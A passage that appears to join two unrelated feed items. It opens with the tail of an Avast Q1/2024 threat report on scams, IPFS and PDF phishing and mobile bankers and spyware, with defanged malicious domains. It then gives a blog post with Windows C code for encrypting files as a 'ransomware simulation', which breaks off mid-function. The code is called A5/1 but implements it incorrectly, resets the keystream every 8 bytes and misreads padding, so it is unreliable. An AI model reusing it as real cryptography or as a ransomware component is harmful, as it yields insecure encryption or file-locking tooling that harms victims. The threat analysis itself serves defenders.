However, the most significant cryptocurrency scam incident of the quarter was the misuse of the Starship Integrated Flight Test 3 (IFT-3). The attackers used the official SpaceX All Hands meeting video to deceive viewers and get them to visit the fraudulent websites. Moreover, the attackers have hijacked several YouTube channels, which have tens of millions of subscribers, to increase the probability of displaying a fake video in the list of recommended videos.

Deep fake videos abusing SpaceX events

The preliminary analysis indicates that specific attackers’ wallets associated with these scams’ campaigns have cashflows reaching tens of thousands of dollars.

The risk ratio of this financial scam was stable in Q1/2024, but we recorded a significant peak on March 14, 2024, related to the IFT-3 event.

Risk ratio of the crypt giveaway scam in Q1/2024

In terms of country distribution, the leading countries affected by the scammer group are the United States, the United Kingdom, and Germany.

Country distribution of the crypt giveaway scam threat

Dating Scams Skyrocketing

Dating scams, also known as romance scams or online dating scams, involve fraudsters deceiving individuals into fake romantic relationships. Scammers adopt fake online identities to gain the victim’s trust, with the ultimate goal of obtaining money or enough personal information to commit identity theft.

The last quarter of last year was very interesting for dating scams, with several large campaigns witnessed through our data. In Q1/2024, we saw a significant increase since the middle of February. 

What is interesting is the high activity especially in Central Europe, with countries like Hungary, Slovakia, Denmark, Austria or the Czech Republic being the most affected.

Activity of Dating scam in Q1/2024

Once again,  these threats are strongly supported by advertising campaigns. We often see that the sources of these advertising campaigns are sites with adult content. On such pages, the owners often try to get as much commission as possible by trying to fit advertising on their sites with almost every interaction on the page. The user is often overwhelmed with pop-ups or new window redirects, usually to dating scam sites.

Example of prevalent dating scam example from Poland

As you can see on the map, Hungary leads with the highest risk ratio rate at 5.06%. Following closely are Slovakia and Luxembourg, with risk ratios of 4.72% and 4.57% respectively.

Germany and Austria also show significant exposure to dating scams, with risk ratio rates of 4.27% and 4.10% and lastly, Czechia, with a risk ratio of 3.94%, rounds out the list.

Global risk ratio for Dating scam in Q1/2024

Tech Support Scams (TSS): Steady Increase of Attacks 

Tech support scam threats involve fraudsters posing as legitimate technical support representatives who attempt to gain remote access to victims’ devices or obtain sensitive personal information, such as credit card or banking details. These scams rely on confidence tricks to gain victims’ trust and often involve convincing them to pay for unnecessary services or purchase expensive gift cards. It’s important for internet users to be vigilant and to verify the credentials of anyone claiming to offer technical support services.

Throughout 2023, we observed a continual drop in activity related to tech support scams. In the first quarter of this year, we can say that this trend not only ended but quite the contrary – we observed an increase in tech scam activity over the quarter.

 Daily risk ratio of Technical Support Scam in Q4/2023 and Q1/2024 

As seen on the chart above, the activity of this threat has reached the level of the beginning of Q4/2023.

Looking at the data of the full quarter, a clear increase trend is visible.

 Detail of Technical Support Scam risk ratio in Q1/2024

Switzerland experienced the most dramatic surge, with a 177% increase in TSS activity—the highest observed this quarter. Austria also saw a significant rise, with a 101% increase. Germany’s increase, though lower, was still notable at 65%. Additionally, Japan, traditionally a hotspot for TSS, reported a significant increase of 153%.

These escalating figures, especially notable in Europe’s wealthier nations, highlight a growing trend in cybersecurity threats in these regions.

Global risk ratio for Technical Support Scam in Q1/2024

Refund and Invoice Scams: iCloud Data Deletion Scam

Invoice scams involve fraudsters sending false bills or invoices for goods or services that were never ordered or received. Scammers rely on invoices looking legitimate, often using company logos or other branding to trick unsuspecting victims into making payments. These scams can be especially effective when targeted at businesses, as employees may assume that a colleague made the purchase or simply overlook the details of the invoice. It’s important to carefully review all invoices and bills before making any payments and to verify the legitimacy of the sender if there are any suspicions of fraud.

One of the refund and invoice scams that caught our attention in Q1/2024 targeted a top-tier service, serving as a gateway to other less valuable ones, in our assessment. The targeted account was iCloud, accompanied by a TinyURL link to a payment gateway that extracts user information, including sensitive details. iCloud is undoubtedly one of the most vital accounts to protect by enabling multi-factor authentication in order to prevent malicious actors from stealing sensitive information. According to 9to5 Google, enabling multi-factor authentication for Google users led to a 50% decrease in compromised accounts.

We will delve into the campaign itself which begins with a malicious email, which may evoke early 90’s nostalgia because the attackers’ Comic Sans font choice. The aim of the email is to visually intimidate, highlighting the issue at hand: your beloved photos will be deleted unless you proceed to the fake payment gateway. As always, the loading bar creates a sense of urgency, while a missed payment statement compounds the pressure. A big red button labeled “FULL” completes the sense of urgency, signaling that immediate action is required.

The email seemingly contains additional product and technical information to make it look authentic, all of which is fabricated. These include product IDs, expiration dates, and buttons for more storage. The only legitimate piece of the email is the unauthorized use of the actual iCloud logo. The subject of the email is also intriguing: we’re seeing that more cybercriminals aim to catch your attention with email subject lines using emoticons, as you see in the email sample below.

Example of iCloud-themed email scam used in Q1/2024

In terms of global prevalence, we can see that the English-speaking world is the most affected, along with the European Union. The countries that experienced the biggest spike in the last quarter are Belgium, up by 29%, the United Kingdom, up by 13%, and Luxembourg, up by 10%. On the other side of the spectrum, we have Australia, which experienced the largest drop, down by 29%, the United States, down by 15%, and Canada, down by 5%.

Global risk ratio for Refund and Invoice scam in Q1/2024

The graph showing risk ratio over time exhibits less volatility compared to the previous period. In Q1/2024, the risk did not significantly change over time and rose slightly by the end of the quarter. We can observe that the threat is still widely spread around the globe, and we anticipate seeing even more of these attacks in the future.

Daily risk ratio of Refund and Invoice scam in Q4/2023 and Q1/2024

Phishing: Reaching New Hights

Phishing is a type of online scam where fraudsters attempt to obtain sensitive information including passwords or credit card details by posing as a trustworthy entity in an electronic communication, such as an email, text message, or instant message. The fraudulent message usually contains a link to a fake website that looks like the real one, where the victim is asked to enter their sensitive information.

And now we come to the final, and most classic,  category under web threats: Phishing. Like nearly all web threats, this category saw an increase in activity in Q1/2024, continuing the increase trend that we’ve witnessed over the last four quarter. 

Risk ratio of Phishing during the last 12 months

We’ve also observed that attackers are continuing to make heavy use of file sharing via InterPlanetary File System (IPFS) infrastructure – to spread their phishing content.

Example of prevalent phishing hosted on IPFS infrastructure

Our statistics show that the most frequently targeted brand on IPFS is Microsoft, which currently accounts for up to 20% of blocked attacks. At the same time, we see that these threats were most visible at the end of Q1/2024.

Activity of IPFS based domains for Q1/2024
Global risk ratio for phishing in Q1/2024

One of the most interesting phishing campaigns for this quarter was the wave of Russian-language phishing PDFs targeting bank users. 

Based on the content of the PDF, this campaign was developed to target the customers of Tinkoff Bank, and from the data we can see that the most hits are registered in Latvia.

Phishing email template
One of designs of phishing PDF

This campaign generated hundreds of PDF samples, with different names, while the appearance mostly stayed the same. All extracted URLs pointed to the same domain.

Extracted malicious URLs

The main domain to which the URL is redirected is xsph[.]ru. This domain acts as a hub for many other types of malware. 

Captcha for verification

A command-and-control server, such as one hosted at “the-packaging-experts[.]co.uk” could be accessed by malicious programs by abusing this event. This then redirects to “http://a0942143[.]xsph[.]ru/tin/cabinet/capcha/” and checks CAPTCHA to verify that the user is human, then potentially receives instructions or downloading additional payloads. Threat actors frequently employ this strategy to avoid being discovered by security solutions, using a genuine website as a front for criminal activity.

Illustration of the malware relationship linked to xsph[.]ru

Alexej Savčin, Malware Analyst
Martin Chlumecký, Malware Analyst
Matěj Krčma, Malware Analyst
Prabhakaran Ravichandhiran, Malware Analyst

Mobile-Related Threats

The first quarter of 2024 brings with it several interesting developments within the mobile threat landscape. Adware has once again snuck into the PlayStore, this time in the form of a Minecraft clone game app. Meanwhile, MoqHao, a revived strain of banker, obtained the ability to auto-start on victims’ devices once installed, displaying phishing messages on the target device. We also saw GoldPickaxe target both Android and iOS users in Vietnam and Thailand, attempting to steal facial recognition biometrics that are then used in fraudulent payments.

State sponsored spyware was also brought back into focus with governments investigating the scope of its use on citizens, while Apple highlighted its threat notifications sent to victims of these sophisticated spywares. 

Fake romance lures were also found, this time by VajraSpy, to entice victims into installing a spyware in India and Pakistan with the intent of extracting data and spying on their devices.

Finally, SpyLoans continue to spread on and off the PlayStore, enticing users with promises of quick cash but instead targeting them and their contacts with harassment and blackmail.

Web Threat Data within the Mobile Landscape

Over the last few quarters, we’ve started to include web threat data in our mobile threat telemetry.  Scams are again at the top of the threat list in the mobile sphere, with a 61% increase in risk ratio compared to last quarter. This is followed by phishing and malvertising, both seeing a 19% increase in risk ratio. The increased prevalence of web threats has significantly reduced the risk ratio of traditional on-device malware such as adware, droppers and others.

Graphs showing the most prevalent threats in the mobile sphere in Q1/2024

Most blocked attacks on mobile devices in Q1/2024 were web-based, mirroring the previous quarter. Users are much more likely to encounter phishing websites, scams, malvertising and other web threats than ever before. These threats can come in a variety of formats such as private messages, SMS, and emails but also redirects on less reputable sites, unwanted pop ups and through other avenues.

In contrast to these types of mobile scams, traditional on-device malware requires a more complex infection vector where the user must also install the malware. For proper functionality of most mobile malware, permissions need to be granted by the user first, which again lowers the chances of malicious activity being triggered.

Hence, blocking web-threat based attacks is beneficial for the security of mobile devices, as malware actors often use them as an entry point to get the payload onto the mobile device of their victims.

Adware Sneaks into the PlayStore Again

Adware threats on mobile phones refer to applications that display intrusive out-of-context adverts to users with the intent of gathering fraudulent advertising revenue. This malicious functionality is often delayed until sometime after installation and coupled with stealthy features such as hiding the adware app icon to prevent removal. Adware mimics popular apps such as games, camera filters, and wallpaper apps, to name a few.

Adware stays on top this quarter as the most prevalent on-device malware threat facing mobile users. Continuing to bring in fraudulent advertising revenue at the expense of the user experience of its victims, it again makes its way into the PlayStore to increase its global spread. We also observe third party stores distributing older adware families that are no longer present on the PlayStore.

HiddenAds are the most common type of adware this quarter, often hiding their icons once installed on victims’ devices or performing hidden actions in the background with the intent of gathering fraudulent ad views, unbeknownst to the victim. FakeAdBlockers and Mobidash are close behind, often masking as re-packed games that bring with them full screen out of context ads or spam notifications that bother their victims. These continue to spread through third party apps stores and malvertising on less reputable sites that redirect users to download these types of adware.

Minecraft clone game apps that display hidden advertisements, raking in fraudulent ad revenue

Of note this quarter is the resurgence of a previously discovered adware discussed in the Q2/2023 report, again appearing in the PlayStore with altered versions of the original adware. These Minecraft clone apps draw in millions of downloads due to the popularity of the original game, then proceed to exploit advertising SDKs to display adverts in the background, raking in ad revenue. This fraudulent activity impacts the advertising ecosystem on mobile devices and contributes to data and battery drainage on the victim’s device.

We see a significant decrease in risk ratio this quarter in mobile adware. SocialBar has mostly subsided in comparison to last quarter, accounting for the lower numbers. Alongside this, HiddenAds, FakeAdBlockers, and Mobidash have all experienced a drop in risk ratio this quarter.

Global risk ratio of mobile adware in Q4/2023 and Q1/2024

Brazil, India and Argentina have the most protected users this quarter, as was the case last quarter. Egypt, Philippines and Oman have the highest risk ratios, meaning users are most likely to encounter adware in these countries, according to our telemetry.

Global risk ratio for mobile adware in Q1/2024

New Auto-Starting Bankers Threaten Mobile Users

Bankers are a sophisticated type of mobile malware that targets banking details, cryptocurrency wallets, and instant payments with the intent of extracting money. Generally distributed through phishing messages or fake websites, Bankers can take over a victim’s device by abusing the accessibility service. Once installed and enabled, they often monitor 2FA SMS messages and may display fake bank overlays to steal login information.

Mobile bankers expanded their feature set in Q1/2024 with an unexpected evolution: the ability to auto-start after installation without the need for user input, as exemplified by MoqHao banker. Elsewhere, bankers are digging for gold with the new GoldPickaxe strain that targets both Android and iOS users, attempting to steal facial recognition data for further fraudulent use while emptying bank accounts. Finally, the GreenBean banker was used to redirect crypto payments by changing wallet addresses in victim’s messages. In our telemetry, we see Cerberus/Alien and BankBot with the most protected users, while RewardSteal banker makes a big splash coming in third, mainly targeting India.

Disguised as the Chrome browser and using Unicode characters to evade detection, MoqHao requests access to SMS messages

We see another comeback with upgrades, as the MoqHao banker introduces the ability to auto execute after installation through using Android’s inbuilt Contact Provider service. By having this as the first activity in the app manifest with special metadata, it is executed as soon as the app is installed, enabling it to trigger malicious services before it is run for the first time by the user. Once installed and running, MoqHao starts to display phishing messages attempting to trick the user into providing their banking details. It also harvests contact details and SMS messages and sends these away to a C&C server. Interestingly, while the banker has preset country specific phishing messages, it can also dynamically load messages from Pinterest profile descriptions specifically setup for this purpose, a very odd way of delivering tailored messages to its victims. The banker has been distributed through fake phishing SMS messages, often pretending to be a delivery service and mostly targeting users in Japan, South Korea, Germany, France, and India.

GoldPickaxe using the guise of Thai Digital Pensions within TestFlight to trick users into installing the banker on iOS

GoldPickaxe, a banker targeting both Android and iOS, has emerged and is targeting victims in Thailand and Vietnam. Likely from the same threat actors behind GoldDigger, a previously discussed banker, this new strain focuses on extracting personal information and can even harvest facial recognition data for fraudulent access to victim’s bank accounts. This is likely in response to both the Bank of Thailand and the State Bank of Vietnam issuing statements advising or mandating the use of facial biometric verification for payments in the coming months. 

On iOS, the threat actors initially used TestFlight, a beta testing tool within the iOS ecosystem, to distribute the iOS malware. Once Apple took down the offending banker apps, they switched to using Mobile Device Management (MDM) profiles, sending download links to victims. If the victim downloaded and installed the MDM profile, the banker would gain complete control over the device. After the complex infection process is complete, GoldPickaxe can extract photos, SMS messages and even request to capture the victim’s ID card and face. These are then used to initiate fraudulent bank payments, with reports of victims losing significant sums of money after being asked to do facial recognition scans by GoldPickaxe.

Fake crypto website used to distribute the GreenBean banker malware

A new banker called GreenBean has been spotted spreading through a fake cryptocurrency website. Targeting users in China and Vietnam, the banker focuses on cryptocurrency wallets and payment platforms as well as traditional banking platforms. It uses the Accessibility service to gather sensitive information, login details, photos and saved wallet passwords, then sends these away to its C&C. GreenBean is also able to dynamically detect and change crypto wallet addresses it detects within messaging applications such as WeChat, redirecting a payment to its own wallet address, stealing money from victims. Additionally, the banker can stream video from the infected device, keeping an eye on its victims and potentially gaining access to sensitive information.

Global risk ratio of mobile bankers in Q4/2023-Q1/2024

Breaking the trend of decline from previous quarters, bankers mostly maintain their prevalence this quarter. It is likely that the introduction of various new strains this quarter has contributed to their steadying numbers. We also observed the return of SMS and messaging applications as infection vectors, used by strains such as FluBot in the past.

Global risk ratio for mobile bankers in Q1/2024

Turkey has the highest risk ratio for bankers in Q1/2024. We also witnessed a notable rise in risk ratio in India, where the RewardSteal banker is gaining ground. It appears the focus this quarter has shifted towards Asia, with countries such South Korea, Japan, Thailand and Vietnam being the targets of several new strains of bankers.

State Sponsored Spyware Continues to Be a Sophisticated Threat 

Spyware is used to spy on unsuspecting victims with the intent of extracting personal information such as messages, photos, location, or login details. It uses fake adverts, phishing messages, and modifications of popular applications to spread and harvest user information. State backed commercial spyware is becoming more prevalent and is used to target individuals with 0-day exploits.

Mirroring last quarter, Spymax is the most prevalent strain of spyware this quarter, followed by RealRAT, SexInfoSteal, and malicious WAMods. We also saw a few new spyware entries this quarter alongside the return of updated existing strains. Of note are official Apple threat notifications sent to affected users with iOS devices, alerting them when they have been targeted by state sponsored sophisticated spyware attacks. We see VajraSpy spreading in the PlayStore, targeting victims in Pakistan with the ability to steal sensitive data. DogeRAT, a repurposed RainbowRAT clone, makes another entrance on Github with updated and paid features. Finally, SpyLoans continue their blackmailing streak on and off the PlayStore, threatening users worldwide.

A sample Threat notification from Apple, alerting the user that they have been targeted by mercenary spyware

News of state sponsored spyware has been doing the rounds for at least a decade now, with examples such as the infamous NSO Group Pegasus dating back to 2016, discussed in the Q3/2021 report. Since 2021, Apple has started issuing threat notifications to potential victims, alerting them if they have been targeted by what Apple believes to be state sponsored or mercenary spyware. These attacks are often highly sophisticated, sometimes using multiple zero-day exploits to break into iOS devices without user interaction, with the intent of spying on their victims and extracting personal information such as SMS messages, contacts and photos. There has been more focus on the use of such spyware by governments, with Poland recently launching a probe into the use of Pegasus by the government, which allegedly targeted close to 600 individuals in Poland. Due to the high cost of such attacks, the attackers are targeting only individuals of interest, NGOs, etc. Users should take extra precautions, such as enabling Lockdown mode on iOS devices and keeping their device up to date with latest security updates.

VajraSpy pretending to be a dating app, sent to the victim through a romance lure

VajraSpy, an upgraded spyware seen in previous years, has made it onto the PlayStore, targeting users in India and Pakistan. Masquerading as messaging and dating apps, victims were likely approached under the guise of a romantic encounter, where threat actors encouraged victims to download the spyware apps to continue their interaction. It appears there were three distinct versions of the malware, two of which were messaging applications with the ability to extract SMS messages, WhatsApp conversations and photos, the more advanced version even able to record audio and video, log keystrokes, and listen in on phone calls. The third version disguised itself as a news app and didn’t request any dangerous permissions. Despite this, it was able to steal contacts and various documents and files from external storage.

DogeRAT’s list of paid features on Github with ambitious promises such as “undetectable by antivirus”

Github is again being used for distribution of potential malware in this case DogeRAT. This update appears to be a repurposed version of RainbowRAT, and even features a paid version that promises to be undetectable by antivirus in addition to having the ability to extract all photos on a device, screenshot the victim’s screen and provide a keylogger to track inputs. While dangerous, open repositories such as this one offer an interesting insight into the operation of various threat actors. Normally, threat groups try to hide their activity to evade detection and remain under the radar for as long as possible to avoid takedowns and antivirus detection.

Review of a SpyLoan application on the PlayStore, citing the abusive use of contacts and data theft which is used to coerce victims

SpyLoans continue to reign on the PlayStore, targeting victims in need of quick cash with promises of easy payments, low interest rates and hassle-free setup. Numerous apps have been taken down from the PlayStore, as discussed in previous quarters, but new ones keep popping up. The actors behind these apps have also taken to using third party app stores or even direct messaging to entice victims into downloading their malware. Once installed, the SpyLoans generally harvest contacts, photos and SMS messages under the guise of a credit check. This data is then used to harass and blackmail victims, in some cases even threating violence. Users are advised to stick to official banks when in need of a loan, to avoid SpyLoan apps. 

Global risk ratio of mobile spyware in Q4/2023 and Q1/2024

The risk ratio for mobile spyware has remained steady compared to Q4/2023, with a very slight decrease in prevalence of spyware in our telemetry. The continued spread of SpyLoans may have contributed to this.

Global risk ratio for mobile spyware in Q1/2024

Yemen has the highest risk ratio this quarter, followed by Turkey, Egypt and Pakistan. We saw VajraSpy mainly focus on Pakistan this quarter, where we do see an increase in risk ratio. Brazil and the US have the highest number of protected users.

Jakub Vávra, Malware Analyst

Malware researchers

Adolf Středa 
Alexej Savčin 
David Álvarez
David Jursa 
Igor Morgenstern 
Jakub Křoustek 
Jakub Vávra 
Jan Rubín 
Jan Vojtěšek 
Ladislav Zezula 
Luigino Camastra 
Luis Corrons 
Martin Chlumecký 
Matěj Krčma 
Michal Salát 
Ondřej Mokoš 
Prabhakaran Ravichandhiran
Vladimír Žalud

Data analysts

Pavol Plaskoň
Filip Husák
Lukáš Zobal

Communications

Brittany Posey
Nyrmah Reina Terreforte

The post Avast Q1/2024 Threat Report appeared first on Avast Threat Labs.

Malware and cryptography 27: encrypt/decrypt files via A5/1. Simple C/C++ example.

12 May 2024 at 01:00

Hello, cybersecurity enthusiasts and white hackers!

cryptography

In one of the previous posts I wrote about the A5/1 GSM encryption algorithm and how it affected the VirusTotal detection score.

At the moment of my current research on ransomware simulation, I decided to show file encryption and decryption logic using the A5/1 algorithm.

practical example

First of all, our encryption and decryption functions are the same:

void a5_1_encrypt(unsigned char *key, int key_len, unsigned char *msg, int msg_len, unsigned char *out) {
  // initialization
  unsigned int R1 = 0, R2 = 0, R3 = 0;
  for (int i = 0; i < 64; i++) {
    int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
    R1 = (R1 << 1) | feedback;
    R2 = (R2 << 1) | ((R1 >> 8) & 1);
    R3 = (R3 << 1) | ((R2 >> 10) & 1);
  }
  // encryption
  for (int i = 0; i < msg_len; i++) {
    int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
    unsigned char key_byte = 0;
    for (int j = 0; j < 8; j++) {
      int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
      key_byte |= bit << j;
      R1 = (R1 << 1) | bit;
      R2 = (R2 << 1) | ((R1 >> 8) & 1);
      R3 = (R3 << 1) | ((R2 >> 10) & 1);
    }
    out[i] = msg[i] ^ key_byte;
  }
}

void a5_1_decrypt(unsigned char *key, int key_len, unsigned char *cipher, int cipher_len, unsigned char *out) {
  // initialization
  unsigned int R1 = 0, R2 = 0, R3 = 0;
  for (int i = 0; i < 64; i++) {
    int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
    R1 = (R1 << 1) | feedback;
    R2 = (R2 << 1) | ((R1 >> 8) & 1);
    R3 = (R3 << 1) | ((R2 >> 10) & 1);
  }
  // decryption
  for (int i = 0; i < cipher_len; i++) {
    int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
    unsigned char key_byte = 0;
    for (int j = 0; j < 8; j++) {
      int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
      key_byte |= bit << j;
      R1 = (R1 << 1) | bit;
      R2 = (R2 << 1) | ((R1 >> 8) & 1);
      R3 = (R3 << 1) | ((R2 >> 10) & 1);
    }
    out[i] = cipher[i] ^ key_byte;
  }
}

The next piece of code implemented file encryption and decryption logic via previous functions:

void encrypt_file(const char* inputFile, const char* outputFile, const char* key) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char keyData[A51_KEY_SIZE];
  memcpy(keyData, key, A51_KEY_SIZE);

  // calculate the padding size
  size_t paddingSize = (A51_BLOCK_SIZE - (fileSize.LowPart % A51_BLOCK_SIZE)) % A51_BLOCK_SIZE;

  // pad the file data
  size_t paddedSize = fileSize.LowPart + paddingSize;
  unsigned char* paddedData = (unsigned char*)malloc(paddedSize);
  memcpy(paddedData, fileData, fileSize.LowPart);
  memset(paddedData + fileSize.LowPart, static_cast<char>(paddingSize), paddingSize);

  // encrypt the padded data
  for (size_t i = 0; i < paddedSize; i += A51_BLOCK_SIZE) {
    a5_1_encrypt(keyData, A51_KEY_SIZE, paddedData + i, A51_BLOCK_SIZE, paddedData + i);
  }

  // write the encrypted data to the output file
  DWORD bw;
  WriteFile(ofh, paddedData, paddedSize, &bw, NULL);

  printf("a5/1 encryption successful\n");

  CloseHandle(ifh);
  CloseHandle(ofh);
  free(fileData);
  free(paddedData);
}

void decrypt_file(const char* inputFile, const char* outputFile, const char* key) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char keyData[A51_KEY_SIZE];
  memcpy(keyData, key, A51_KEY_SIZE);

  // decrypt the file data using A5/1 encryption
  for (DWORD i = 0; i < fileSize.LowPart; i += A51_BLOCK_SIZE) {
    a5_1_decrypt(keyData, A51_KEY_SIZE, fileData + i, A51_BLOCK_SIZE, fileData + i);
  }

  // calculate the padding size
  size_t paddingSize = fileData[fileSize.LowPart - 1];

  // validate and remove padding
  if (paddingSize <= A51_BLOCK_SIZE && paddingSize > 0) {
    size_t originalSize = fileSize.LowPart - paddingSize;
    unsigned char* originalData = (unsigned char*)malloc(originalSize);
    memcpy(originalData, fileData, originalSize);

    // write the decrypted data to the output file
    DWORD bw;
    WriteFile(ofh, originalData, originalSize, &bw, NULL);

    printf("a5/1 decryption successful\n");

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
    free(originalData);
  } else {
    // invalid padding size, print an error message or handle it accordingly
    printf("invalid padding size: %d\n", paddingSize);

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
  }
}

As you can see, it operates on the data in blocks of A51_BLOCK_SIZE (8) bytes and in case when file size is not a multiple of 8, just add padding logic for encrypted and decrypted data:

void add_padding(HANDLE fh) {
  LARGE_INTEGER fs;
  GetFileSizeEx(fh, &fs);

  size_t paddingS = A51_BLOCK_SIZE - (fs.QuadPart % A51_BLOCK_SIZE);
  if (paddingS != A51_BLOCK_SIZE) {
    SetFilePointer(fh, 0, NULL, FILE_END);
    for (size_t i = 0; i < paddingS; ++i) {
      char paddingB = static_cast<char>(paddingS);
      WriteFile(fh, &paddingB, 1, NULL, NULL);
    }
  }
}

void remove_padding(HANDLE fileHandle) {
  LARGE_INTEGER fileSize;
  GetFileSizeEx(fileHandle, &fileSize);

  // determine the padding size
  DWORD paddingSize;
  SetFilePointer(fileHandle, -1, NULL, FILE_END);
  ReadFile(fileHandle, &paddingSize, 1, NULL, NULL);

  // validate and remove padding
  if (paddingSize <= A51_BLOCK_SIZE && paddingSize > 0) {
    // seek back to the beginning of the padding
    SetFilePointer(fileHandle, -paddingSize, NULL, FILE_END);

    // read and validate the entire padding
    BYTE* padding = (BYTE*)malloc(paddingSize);
    DWORD bytesRead;
    if (ReadFile(fileHandle, padding, paddingSize, &bytesRead, NULL) && bytesRead == paddingSize) {
      // check if the padding bytes are valid
      for (size_t i = 0; i < paddingSize; ++i) {
        if (padding[i] != static_cast<char>(paddingSize)) {
          // invalid padding, print an error message or handle it accordingly
          printf("invalid padding found in the file.\n");
          free(padding);
          return;
        }
      }

      // truncate the file at the position of the last complete block
      SetEndOfFile(fileHandle);
    } else {
      // error reading the padding bytes, print an error message or handle it accordingly
      printf("error reading padding bytes from the file.\n");
    }

    free(padding);
  } else {
    // invalid padding size, print an error message or handle it accordingly
    printf("invalid padding size: %d\n", paddingSize);
  }
}

The full source code is looks like this hack.c:

/*
 * hack.c
 * encrypt/decrypt file via GSM A5/1 algorithm
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2024/05/12/malware-cryptography-27.html
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>

#define ROL(x, y) (((x) << (y)) | ((x) >> (32 - (y))))
#define A5_STEP(x, y, z) ((x & y) ^ (x & z) ^ (y & z))

#define A51_BLOCK_SIZE 8
#define A51_KEY_SIZE 8

void a5_1_encrypt(unsigned char *key, int key_len, unsigned char *msg, int msg_len, unsigned char *out) {
  // initialization
  unsigned int R1 = 0, R2 = 0, R3 = 0;
  for (int i = 0; i < 64; i++) {
    int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
    R1 = (R1 << 1) | feedback;
    R2 = (R2 << 1) | ((R1 >> 8) & 1);
    R3 = (R3 << 1) | ((R2 >> 10) & 1);
  }
  // encryption
  for (int i = 0; i < msg_len; i++) {
    int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
    unsigned char key_byte = 0;
    for (int j = 0; j < 8; j++) {
      int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
      key_byte |= bit << j;
      R1 = (R1 << 1) | bit;
      R2 = (R2 << 1) | ((R1 >> 8) & 1);
      R3 = (R3 << 1) | ((R2 >> 10) & 1);
    }
    out[i] = msg[i] ^ key_byte;
  }
}

void a5_1_decrypt(unsigned char *key, int key_len, unsigned char *cipher, int cipher_len, unsigned char *out) {
  // initialization
  unsigned int R1 = 0, R2 = 0, R3 = 0;
  for (int i = 0; i < 64; i++) {
    int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
    R1 = (R1 << 1) | feedback;
    R2 = (R2 << 1) | ((R1 >> 8) & 1);
    R3 = (R3 << 1) | ((R2 >> 10) & 1);
  }
  // decryption
  for (int i = 0; i < cipher_len; i++) {
    int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
    unsigned char key_byte = 0;
    for (int j = 0; j < 8; j++) {
      int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
      key_byte |= bit << j;
      R1 = (R1 << 1) | bit;
      R2 = (R2 << 1) | ((R1 >> 8) & 1);
      R3 = (R3 << 1) | ((R2 >> 10) & 1);
    }
    out[i] = cipher[i] ^ key_byte;
  }
}

void add_padding(HANDLE fh) {
  LARGE_INTEGER fs;
  GetFileSizeEx(fh, &fs);

  size_t paddingS = A51_BLOCK_SIZE - (fs.QuadPart % A51_BLOCK_SIZE);
  if (paddingS != A51_BLOCK_SIZE) {
    SetFilePointer(fh, 0, NULL, FILE_END);
    for (size_t i = 0; i < paddingS; ++i) {
      char paddingB = static_cast<char>(paddingS);
      WriteFile(fh, &paddingB, 1, NULL, NULL);
    }
  }
}

void remove_padding(HANDLE fileHandle) {
  LARGE_INTEGER fileSize;
  GetFileSizeEx(fileHandle, &fileSize);

  // determine the padding size
  DWORD paddingSize;
  SetFilePointer(fileHandle, -1, NULL, FILE_END);
  ReadFile(fileHandle, &paddingSize, 1, NULL, NULL);

  // validate and remove padding
  if (paddingSize <= A51_BLOCK_SIZE && paddingSize > 0) {
    // seek back to the beginning of the padding
    SetFilePointer(fileHandle, -paddingSize, NULL, FILE_END);

    // read and validate the entire padding
    BYTE* padding = (BYTE*)malloc(paddingSize);
    DWORD bytesRead;
    if (ReadFile(fileHandle, padding, paddingSize, &bytesRead, NULL) && bytesRead == paddingSize) {
      // check if the padding bytes are valid
      for (size_t i = 0; i < paddingSize; ++i) {
        if (padding[i] != static_cast<char>(paddingSize)) {
          // invalid padding, print an error message or handle it accordingly
